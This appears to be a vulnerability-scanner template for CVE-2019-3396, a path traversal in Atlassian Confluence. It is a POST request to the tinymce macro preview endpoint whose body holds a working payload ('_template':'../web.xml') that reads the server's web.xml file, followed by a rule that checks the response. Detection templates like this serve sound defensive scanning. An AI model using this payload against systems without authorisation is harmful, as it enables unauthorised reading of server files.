id: CVE-2019-3396
info:
  name: Atlassian Confluence Path Traversal
  risk: High

params:
  - root: '{{.BaseURL}}'
  
variables:
  - endpoint: |
      rest/tinymce/1/macro/preview

requests: 
  - method: POST
    url: >-
      {{.root}}/{{.endpoint}}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    body: |
      {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
    detections:
      - >-
        StatusCode() == 200 && StringSearch("resBody", "<param-name>contextConfigLocation</param-name>") && StringSearch("resHeaders", "application/xml")

references:
  - https://www.cvebase.com/cve/2019/3396